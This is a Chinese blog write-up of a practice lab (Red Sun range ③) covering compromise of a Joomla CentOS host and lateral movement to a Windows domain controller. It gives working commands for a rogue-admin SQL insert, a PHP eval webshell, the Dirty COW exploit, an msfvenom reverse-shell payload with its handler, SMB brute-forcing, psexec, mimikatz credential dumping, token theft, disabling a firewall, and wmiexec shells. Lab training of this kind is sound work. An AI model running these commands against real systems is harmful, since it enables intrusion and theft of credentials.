内网域渗透总结——红日靶场③

已于 2023-11-30 17:15:27 修改
阅读量1.1k 收藏 24
点赞数 28
文章标签： 安全 1024程序员节 web安全 笔记 网络安全 网络
于 2023-11-30 17:15:11 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_74545038/article/details/134716709
版权

文笔生疏，措辞浅薄，望各位大佬不吝赐教，万分感谢。

一，环境搭建

  • 红日靶场：漏洞详情
  • 本次靶场渗透主要是Joomla CMS漏洞的综合渗透练习，通过信息收集、漏洞利用、权限提升、以及域渗透。
黑盒测试--
出网IP 192.168.93.0/24
出网主机为centos nat网卡+VMnat2网卡
centos靶机开启后：
设置为nat模式并且重启网卡
service network restart

IP详情：
kali+CS+MSF
192.168.43.33
web-centos
192.168.93.100
192.168.43.118
web1-ubuntu
192.168.93.120
PC-win7
192.168.93.30
win 2k8
192.168.93.20
win 2012
192.168.93.10

靶场拓补图如下：

​

 centos靶机开启后：
设置为nat模式并且重启网卡
service network restart

二，外网渗透

信息收集

主机发现

nmap -sP -T4 192.168.43.0/24

​

端口扫描

nmap -F -T4 -sS -sV -v 192.168.43.21
nmap -A -p- -min-rate 8888 192.168.43.21

目录扫描

dirsearch -u http://192.168.43.21:80

​

指纹识别

whatweb -v http://192.168.43.21
#CMS：joomla

漏洞利用

searchsploit joomla 3.9.12
searchsploit -m 43488.txt
cat 43488.txt
#CVE-2018-5263  -->XSS
#shellcode并没有，百度一波，也无复现博客，换个姿势继续

​

web界面

###web界面###
访问80端口--->类似一个博客网站
#由于CMS框架是Joomla,直接使用joomscan

​​

Joomscan

joomscan -u http://192.168.43.21/
版本：Joomla 3.9.12

​

连接数据库

#访问Joomscan敏感目录，得到数据库账密
public $user = 'testuser'; 
public $password = 'cvcvgjASD!@';
#直接使用navicat连接数据库

连接数据库 

​

数据库信息收集

#转了一圈，就发现几个有用的表
#用户admin的密码，做了加盐处理。解密失败
#换个姿势继续，尝试添加管理员账密

​

一看就加盐了，解密失败 

​

添加管理员账密

#添加账密admin2:secret
#执行SQL语句
INSERT INTO `am2zu_users`
   (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)
VALUES ('Administrator2', 'admin2',
    'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`)
VALUES (LAST_INSERT_ID(),'8');
#可以看出，账户admin2添加成功

根据官方提示步骤，添加管理员账密

​

​

登录joomscan后台

#192.168.93.21/administrator/index.php

​​

上传小马

#直接写个一句话木马，为后渗透做准备
<?php eval(@$_POST['a']);phpinfo(); ?>

​写入木马

​

蚁剑连接小马

URL：http://192.168.93.21/templates/beez3/web.php

​

​

蚁剑插件绕过命令执行

#由于蚁剑终端命令执行做了限制
#利用蚁剑插件进行绕过 --绕过disable_fuctions
#蚁剑连接新生成的木马URL
URL:http://192.168.43.21/templates/beez3/.antproxy.php

提示ret=127，做了限制 

​

​

​

suid提权

#并无可用提权姿势，换个方式继续

​

利用蚁剑信息收集

/tmp/mysql/tset.txt
#应该是ssh账密
adduser wwwuser
passwd wwwuser_123Aqx

​

xshell连接wwwuser

#继续传马
#显然运行失败
#/tmp下存在passwd.bak文件
利用无果

​

​查看passwd，没啥可用的

​

脏牛提权

#利用脏牛之前先查看Linux内核版本信息：
unmae -a
#版本号较低
#2.6.32-431------inux ubuntu 4.4.0-142-generic
#版本号大于2.6.32

EXP利用-CVE-2016-5195

git clone https://github.com/gbonacini/CVE-2016-5195.git
#这个EXP在靶机上跑不起来，需要sudo进行编译
#在kali本机编译后再上传，脚本是跑不起来的

​

​

​运行失败

​

EXP利用-dirtycow

#换个EXP，继续打
git clone https://github.com/FireFart/dirtycow
gcc -pthread dirty.c -o dirty -lcrypt
./dirty 123456
rm /tmp/passwd.bak
./dirty 123456
#虽然运行莫名终止，但最终可以提权
su firefart
id

​

​

Xshell连接firefart

#为了方便后续操作，直接新建会话
firefart:123456

​

MSF上线

#由于这台机器是Linux，生成elf大马
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.43.33 LPORT=6666 SessionCommunicationTimeout=0 SessionExpirationTimeout=0 -f elf > shell.elf
#开启监听
use exploit/multi/handler 
set payload linux/x64/meterpreter/reverse_tcp 
set lhost 192.168.43.33
set lport 6666
run
#利用xftp上传大马到靶机
#赋予大马权限
chmod 777 shell.elf
#运行
./shell.elf

​

​

​

至此，拿下了外网这台机器

内网渗透

添加路由

#查看路由
run get_local_subnets
#添加路由
run autoroute -s 192.168.93.0/24
run autoroute -p
#挂起
background

​​

添加代理

use auxiliary/server/socks_proxy
set VERSION 4a
set SRVHOST 0.0.0.0  
set SRVPORT 1888
run

vim /etc/proxychain4.conf
socks4 0.0.0.0 1888

​

内网主机扫描

#扫描内网主机存活：
use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.93.0-255
set threads 10
run
#扫到了三台机器
192.168.93.30/24 win7
192.168.93.20/24 win2008
192.168.93.10/24 win-8GA56TNV3MV

​

​

nmap探测三台主机端口

proxychain nmap -F -sT -v 192.168.93.10
proxychain nmap -F -sT -v 192.168.93.20
proxychain nmap -F -sT -v 192.168.93.30
#10开启389端口 -->可能是域控
#都开启了445端口，尝试爆破管理员账密

​

​

​

尝试爆破三台主机管理员账密

#字典需要足够大
use auxiliary/scanner/smb/smb_login
set SMBuser Administrator
set PASS_FILE /home/kali/Desktop/top999.txt
run
-->192.168.93.20 smb  123qwe!ASD
-->192.168.93.30 smb  123qwe!ASD
#已经拿到了两台win的密码，
#10这台机器出不了，可能就是域控

​

​

四，横向渗透

psexec攻击

#利用psexec工具进行攻击192.168.93.30/20主机
use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/bind_tcp
set SMBUser administrator
set SMBPass 123qwe!ASD
set RHOSTS 192.168.93.30
run
--->20/30机器攻击成功

攻击20这台机器

​

攻击30这台机器

​​

定位域控

nslookup -type=SRV _ldap._tcp
#域控明显是10这台机器，和之前猜测的一样

​

minikatz

#利用MSF的kiwi模块
load kiwi
#列出所有凭据
creds_all
#使用kiwi抓取明文密码：
kiwi_cmd sekurlsa::logonpasswords
#win7

可以看出win7这台机器上，信息极少，无用

​

试试win2k8这台机器

​

成功拿到域控账密

--->拿到密码：zxcASDqw123!!

尝试psexec攻击域控

use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/bind_tcp
set SMBUser administrator
set SMBPass zxcASDqw123!!
set RHOSTS  192.168.93.10
run
#攻击失败，可能是防火墙的原因
#换个姿势继续
#其它两台主机已经拿下,在win2k8上窃取管理员用户的token令牌
#这样就可以通过win2008 访问域控，然后远程关掉域控的防火墙,psexec攻击继续

​

窃取域控token令牌

#先利用MSF生成一个正向的木马
msfvenom -p windows/meterpreter/bind_tcp LHOST=192.168.43.33 LPORT=10244 -f exe -o 244.exe
#上传244.exe
upload 244.exe
#运行244.exe
244.exe
#返回msf的shell
exit
#窃取token
use incognito
list_tokens -u
impersonate_token "TEST\Adminitrator"

​

试试win7这台机器能否成功

​

显然失败了，因为不存在

关闭域控防火墙

sc \\192.168.93.10 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\192.168.93.10 start unablefirewall
#响应超时，执行失败

​

#简直有毒
#登上去一看，他喵的这不是关了吗？

​

psexec继续攻击域控

#显然失败了，可能是防火墙的原因（鬼知道什么原因）也可能是会话连接不稳定

​

利用wmiexec

#kali中安装wmiexec
https://github.com/coresecurity/impacket/blob/masterexamples/wmiexec.py
#需要先下载impacket工具包，这里面有很多工具
git clone https://github.com/CoreSecurity/impacket.git
cd impacket/
pip install .

cd ./examples
#安装成功后，切换到examples目录下，
#运行如下命令获取目标系统192.168.93.10(域控)的shell
proxychains python3 wmiexec.py 'administrator:zxcASDqw123!!@192.168.93.10'

#也可以拿到其它机器的shell
proxychains python3 wmiexec.py 'administrator:123qwe!ASD@192.168.93.20'

​

192.168.93.20

​​

FLAG

#最终在C:\Users\Adminisreator\Documents\目录下找到flag.txt
dir
type flag.txt

​

Sessions

​

​

​

别野加奈176
关注
Vulnhub靶场渗透测试系列DC-3(Joomla CMS漏洞和Ubuntu16.04漏洞)
qq_45722813的博客
12-07 3045
Vulnhub靶场渗透测试DC-3 靶机下载地址：https://www.five86.com/dc-3.html 攻击机为kali2021，IP地址：192.168.172.131 将靶机导入到VMware，设置网络模式为NAT模式，开启靶机虚拟机 在kali攻击机使用nmap进行存活主机发现来获取靶机IP地址，命令nmap -T4 -Pn 192.168.172.1/24 但是发现没有扫描到靶机IP，可能是靶机网络设置问题，参考文章：https://editor.csdn.net/md/?artic
内网域渗透总结——红日靶场①_红日靶机账号密码
2401_83974590的博客
04-29 343
外网：192.168.43.17内网：192.168.52.143可以Ping通外网通192.168.52.138（win2008）通192.168.52.141（win2003）小皮必须是自带的，下载的新版本会导致kali机连接目标失败问题原理：自行理解内网两台不出网win互通win7开启phpstudywin11访问80端口得到phpstudy探针#发现开启了80，3306端口#访问发现80端口是php探针。
[ 漏洞复现篇 ] Joomla未授权访问Rest API漏洞(CVE-2023-23752)
qq_51577576的博客
03-21 3705
[ 漏洞复现篇 ] Joomla未授权访问Rest API漏洞(CVE-2023-23752)
靶机渗透练习71-DC3
hirak0的博客
04-21 1051
靶机描述 靶机地址：http://www.vulnhub.com/entry/dc-32,312/ Description DC-3 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing. As with the previous DC releases, this one is designed with beginners i
【红日靶场系列】ATT&CK红队评估3
weixin_45632448的博客
09-14 1368
IPC（Internet Process Connection）是共享“命名管道”的资源，它是为了让进程间通信而开放的命名管道，可以通过验证用户名和密码获得相应的权限，在远程管理计算机和查看计算机的共享资源时使用。连接成功，这里虽然找到了管理员的账号密码，但是密码是被加密的，而加密方式也并不知道（其实一般的网站后台账号的加密方式是MD5，这种的就可以直接将“123456”进行加密把他的替换掉，就可以登陆了，前提是要备份一下他原先的密码；但是这种就不能使用这种方式了）
红日靶场5
分享
01-11 1263
红日靶场5，很简单！权限维持、内网穿透、痕迹清理等操作，等后续........
2024年内网域渗透总结——红日靶场①_红日靶机账号密码
2401_84264096的博客
05-01 359
当我学到一定基础，有自己的理解能力的时候，会去阅读一些前辈整理的书籍或者手写的笔记资料，这些笔记详细记载了他们对一些技术点的理解，这些理解是比较独到，可以学到不一样的思路。网安所有方向的技术点做的整理，形成各个领域的知识点汇总，它的用处就在于，你可以按照上面的知识点去找对应的学习资源，保证自己学得较为全面。观看零基础学习视频，看视频学习是最快捷也是最有效果的方式，跟着视频中老师的思路，从基础到深入，还是很容易入门的。最后就是大家最关心的网络安全面试题板块。
2024年运维最新内网域渗透总结——红日靶场①_红日靶机账号密码(2)，2024年最新最新大厂Linux运维校招面试经验汇总
05-04 667
最近很多小伙伴找我要Linux学习资料，于是我翻箱倒柜，整理了一些优质资源，涵盖视频、电子书、PPT等共享给大家！
2024年最新Vulnstack红日安全内网域渗透靶场1实战_vulnstack靶场(1)
2401_84297265的博客
05-03 1662
该内网靶场的渗透实验，大概得折腾了我整整 3-4 天才做完（而且各种攻击不畅……），其中 Win7 跳板机执行域命令频繁报错如下（各种百度解决方案均行不通，如有知情大佬请赐教，感激不尽……
红日-VulnStack靶场1
timesleep的博客
05-31 359
但是这里我的ms17_010没有攻击成功所以后面的步骤无法进行，按照思路的话，使用ms17_010攻击成功后可以拿到权限，进行权限提升。接下来我们对他的内网网段进行扫描，发现其他主机这里使用fscan，也可以使用arp -a来查看arp表。该端口为phpstudy探针页面，可以查看到敏感信息，如绝对路径，对其进行目录扫描。单网卡，仅主机，仅主机网卡地址为192.168.52.138。单网卡，仅主机，仅主机网卡地址为192.168.52.141。仅主机，仅主机网卡地址为192.168.52.143。
CVE-2015-7857 Joomla注入漏洞利用工具
04-18
CVE-2015-7857 Joomla注入漏洞利用工具，有需要自行下载
红日靶机(一) 笔记
最新发布
LINGX5的博客
09-08 1814
通过 nmap 扫描看到目标 web 服务器开放了 80，135，3306 等端口，通过对 80 端口的目录爆破，弱口令的 fuzz，发现了 phpmyadmin 的后台，并成功登陆。利用数据库的日志输出，写入了一句话木马，成功反弹了 powershell 的命令行，因为 powershell2.0 命令行的缺陷，在域渗透信息收集的时候遇到了 mimikatz 不能使用的情况，尝试解决但失败了。最后使用了 cobalstrike 的集成化工具完成了对域控的横向移动，成功获得域控管理员权限。
ATT&CK实战系列-红队评估 （红日靶场3）Vulnstack三层网络域渗透靶场
qq_47289634的博客
08-01 1641
靶场地址打开虚拟机镜像为挂起状态，第一时间进行快照，部分服务未做自启，重启后无法自动运行。挂起状态，账号已默认登陆，centos为出网机，第一次运行，需重新获取桥接模式网卡ip。除重新获取ip，不建议进行任何虚拟机操作。参考虚拟机网络配置，添加新的网络，该网络作为内部网络。注：名称及网段必须符合下面图片，进行了固定ip配置。
红日安全 ATT＆CK VulnStack靶场（三）
baynk的博客
07-12 2990
0x00 前言 内网真的有点难搞，总是会碰到一些奇怪的问题。。。基础不难，地动山摇。 不知道原版哪下的，就放个自己云盘的，这玩意压缩后只有20G，解压后有100G… 放个下载地址：提取码: uecu 拓扑图如下 除了centos的出口网卡的IP是需要调整外，其余网卡都不需要调整。 0x01 Web打点 直接访问网站 发现很熟悉，joomla cms，国外比较有名的cms，直接上工具，kali里面带的joomscan [+] FireWall Detector [++] Firewall not det
【内网横向】红日靶场1
网络安全从业者的学习笔记
03-31 3352
记一次内网渗透 红日靶场下载地址：漏洞详情 靶场地址分配： 模拟外网网段：192.168.174.0/24 模拟内网网段：192.168.52.0/24 攻击机： kali：192.168.174.131 靶机： 域控服务器2008：192.168.52.138（内网） 域成员2003：192.168.52.141（内网） Win7: 192.168.52.143（内网） 192.168.174.130（外网） 1.信息收集 使用nmap对192.168.174.130进行扫描
红日靶场4
分享
12-13 4539
宇宙无敌最详细红日靶场4教学，拿命研究了一天！
[ 常用工具篇 ]渗透神器OWASPJoomScan安装使用详解
qq_51577576的博客
04-15 2252
[ 常用工具篇 ]渗透神器OWASPJoomScan安装使用详解
Metasploit6.0系列教程 -- 渗透Joomla网站
weixin_41489908的博客
10-19 2381
一、使用Metasploit对Joomal进行侦察 1、探测版本信息 选择joomla_version辅助模块，设置端口号及IP地址，run运行 use auxiliary/scanner/http/joomla_versionset rhosts 192.168.1.111set rport 8080run 2、页面枚举 选择Joomla_pages辅助模块，设置端口号及IP地址，run运行 use auxiliary/scanner/http/joomla_pagesset rhos
Joomla注入漏洞(CVE-2018-6605)复现分析
3569
04-18 2444
https://mp.weixin.qq.com/s?__biz=MzAxODg1MDMwOQ==&amp;mid=2247489109&amp;idx=1&amp;sn=0c9a3388e4ac1389897b4449fb3af110&amp;chksm=9bcea13facb928293ac06fede04f15d564b60a5e8ad26208f28ebe175017aa3d2144617...
评论 3
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值